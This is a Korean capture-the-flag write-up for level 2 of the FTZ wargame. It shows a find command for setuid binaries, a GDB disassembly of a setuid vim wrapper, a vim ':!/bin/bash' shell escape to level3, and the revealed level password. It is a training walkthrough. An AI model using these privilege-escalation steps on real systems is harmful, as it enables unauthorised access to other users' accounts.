FTZ_2 Write UP

ssh로 다시 level2로 로그인하면 아래와 같이 힌트를 찾을 수 있습니다.

[level2@ftz level2]$ ls
hint  public_html  tmp
[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


[level2@ftz level2]$

힌트는 텍스트 파일 편집기를 사용해 FTZ 1번 문제와 동일하게 푸는 것 같습니다.

우선 level3로 setuid 설정된 파일을 찾아보도록 하겠습니다.




[level2@ftz level2]$ find / -perm +4000 -user level3 2>/dev/null
/usr/bin/editorbash

위와 같이 level3 권한으로 setuid가 설정된 파일 하나를 볼 수 있습니다.




[level2@ftz level2]$ /usr/bin/editor

~
~
~                                  VIM - Vi IMproved
~
~                                   version 6.1.320
~                               by Bram Moolenaar et al.
~                     Vim is open source and freely distributable
~
~                            Help poor children in Uganda!
~                    type  :help iccf<Enter>       for information
~
~                    type  :q<Enter>               to exit
~                    type  :help<Enter>  or  <F1>  for on-line help
~                    type  :help version6<Enter>   for version info
~
~

해당 파일을 실행시키면 "vim" 프로그램이 작동되는 걸 볼 수 있습니다.

그러면 문제를 풀기 전 해당 로직을 분석하기 위해 GDB로 뚜따 해보겠습니다.




[level2@ftz level2]$ cp /usr/bin/editor tmp/
[level2@ftz level2]$ gdb -q tmp/editor
(gdb) disass main
Dump of assembler code for function main:
0x08048360 <main+0>:	push   %ebp
0x08048361 <main+1>:	mov    %esp,%ebp
0x08048363 <main+3>:	sub    $0x8,%esp
0x08048366 <main+6>:	and    $0xfffffff0,%esp
0x08048369 <main+9>:	mov    $0x0,%eax
0x0804836e <main+14>:	sub    %eax,%esp
0x08048370 <main+16>:	sub    $0x8,%esp
0x08048373 <main+19>:	push   $0xbbb
0x08048378 <main+24>:	push   $0xbbb
0x0804837d <main+29>:	call   0x80482a0 <setreuid>
0x08048382 <main+34>:	add    $0x10,%esp
0x08048385 <main+37>:	sub    $0xc,%esp
0x08048388 <main+40>:	push   $0x8048444
0x0804838d <main+45>:	call   0x8048280 <system>
0x08048392 <main+50>:	add    $0x10,%esp
0x08048395 <main+53>:	leave
0x08048396 <main+54>:	ret
0x08048397 <main+55>:	nop
End of assembler dump.
(gdb) x/s 0x8048444
0x8048444 <_IO_stdin_used+4>:	 "/bin/vi"

[level2@ftz level2]$ echo $((0xbbb))
3003

이번에는 프로그램 로직이 단순합니다. setreuid 함수와 system 함수를 사용하고 있습니다.

로직을 분석해보면 "PUSH $0xbbb"는 10진수로 3003이므로, setreuid(3003, 3003) 함수가 실행되어 level3 권한을 부여 받습니다.

부여 받은 권한으로 system("/bin/vi") 함수를 실행하여 에디터를 작동시킵니다.




[level2@ftz level2]$ /usr/bin/editor

~                                  VIM - Vi IMproved
~
~                                   version 6.1.320
~                               by Bram Moolenaar et al.
~                     Vim is open source and freely distributable
~
~                            Help poor children in Uganda!
~                    type  :help iccf<Enter>       for information
~
~                    type  :q<Enter>               to exit
~                    type  :help<Enter>  or  <F1>  for on-line help
~                    type  :help version6<Enter>   for version info
~
~
~
~
~
~
~
~
:!/bin/bash

[level3@ftz level2]$ ls -la
합계 80
drwxr-xr-x    4 root     level2       4096  4월 19  2002 .
drwxr-xr-x   34 root     root         4096  9월 10  2011 ..
-rw-r--r--    1 root     root          245  9월 24  2000 .Xdefaults
-rw-------    1 root     root            1  1월 15  2010 .bash_history
-rw-r--r--    1 root     root           24  2월 24  2002 .bash_logout
-rw-r--r--    1 root     root          224  2월 24  2002 .bash_profile
-rw-r--r--    1 root     root          151  2월 24  2002 .bashrc
-rw-r--r--    1 root     root          400  9월 24  2000 .cshrc
-rw-r--r--    1 root     root         4742  9월 24  2000 .emacs
-rw-rw-r--    1 root     root          162  3월 10  2000 .epems
-r--r--r--    1 root     root          319  9월 24  2000 .gtkrc
-rw-r--r--    1 root     root          100  9월 24  2000 .gvimrc
-rw-r--r--    1 root     root          226  9월 24  2000 .muttrc
-rw-r--r--    1 root     root          367  9월 24  2000 .profile
-rw-r--r--    1 root     root            0 10월 27  2002 .viminfo
-rw-r--r--    1 root     root         4145  9월 24  2000 .vimrc
-rw-r--r--    1 root     root           60  3월 23  2000 hint
drwxr-xr-x    2 root     level2       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level2       4096  1월 18 01:03 tmp

[level3@ftz level2]$ id
uid=3003(level3) gid=3002(level2) groups=3002(level2)
[level3@ftz level2]$ my-pass

Level3 Password is "can you fly?".

[level3@ftz level2]$

vim 에디터를 이용하여 ":!/bin/bash" 명령을 사용하여 level3 권한으로 shell를 사용하여 level3 패스워드를 알 수 있습니다.